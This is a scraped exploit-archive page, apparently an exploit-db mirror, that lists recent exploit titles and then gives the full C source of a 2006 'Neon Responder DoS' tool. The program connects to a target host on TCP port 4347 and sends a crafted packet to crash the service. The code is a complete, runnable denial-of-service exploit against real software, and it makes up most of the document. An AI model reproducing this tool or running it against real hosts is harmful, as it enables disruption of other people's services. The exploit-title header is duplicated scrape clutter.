
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
104 lines
2.3 KiB
C
Executable file
104 lines
2.3 KiB
C
Executable file
/* Stefan Lochbihler*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <winsock2.h>
|
|
|
|
#pragma comment(lib,"ws2_32")
|
|
|
|
#define PORT 4347
|
|
char CLOCK_MSG [] = "\x00\x0e\x5a\x00\x4c\xe9\x24\xb1\x17\x88\x40\x84"; //Password = ""
|
|
|
|
void usage (char*);
|
|
void endpgr (char *,SOCKET, char*);
|
|
unsigned long gethost (char *);
|
|
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
WSADATA wsa;
|
|
SOCKET client;
|
|
sockaddr_in peer;
|
|
WORD wsVersion;
|
|
|
|
char sendbuffer[16]="";
|
|
char recvbuffer[16]="";
|
|
unsigned long host=0;
|
|
int err=0;
|
|
|
|
if(argc<2)
|
|
usage(argv[0]);
|
|
|
|
printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");
|
|
|
|
|
|
if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)!=0)
|
|
{
|
|
printf("WSAStartup() fail\n");
|
|
exit(0);
|
|
}
|
|
|
|
printf("%s:[+] Try to create socket\n",argv[0]);
|
|
client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|
|
if(client==INVALID_SOCKET)
|
|
endpgr(argv[0],client,"[-] socket() fail");
|
|
|
|
printf("%s:[+] Lookup host\n",argv[0]);
|
|
if(!(host=gethost(argv[1])))
|
|
endpgr(argv[0],client,"[-] host not found !");
|
|
|
|
peer.sin_family = AF_INET;
|
|
peer.sin_port = htons(PORT);
|
|
peer.sin_addr.s_addr = host;
|
|
|
|
printf("%s:[+] Connect to %s\n",argv[0],argv[1]);
|
|
err=connect(client,(SOCKADDR*)&peer,sizeof(struct sockaddr_in));
|
|
if(err)
|
|
endpgr(argv[0],client,"[-] connect() fail");
|
|
|
|
memcpy(sendbuffer,CLOCK_MSG,sizeof(CLOCK_MSG));
|
|
|
|
printf("%s:[+] Try to send packet\n",argv[0]);
|
|
err=send(client,sendbuffer,sizeof(sendbuffer),0);
|
|
err=recv(client,recvbuffer,sizeof(recvbuffer)-1,0);
|
|
|
|
endpgr(argv[0],client,"[+] End successfully");
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
void usage(char *pgrname)
|
|
{
|
|
printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");
|
|
printf("%s: <Targethost>\n",pgrname);
|
|
exit(0);
|
|
}
|
|
|
|
void endpgr (char *pgrname, SOCKET client,char *msg)
|
|
{
|
|
printf("%s:%s\n",pgrname,msg);
|
|
WSACleanup();
|
|
closesocket(client);
|
|
exit(0);
|
|
}
|
|
|
|
unsigned long gethost(char *targethost)
|
|
{
|
|
unsigned long host=0;
|
|
hostent *phost=NULL;
|
|
|
|
|
|
host=inet_addr(targethost);
|
|
if(host==INADDR_NONE)
|
|
{
|
|
if((phost=gethostbyname(targethost))==NULL)
|
|
return 0;
|
|
host=*(unsigned long*)phost->h_addr;
|
|
}
|
|
|
|
return host;
|
|
}
|
|
|
|
// milw0rm.com [2006-04-17]
|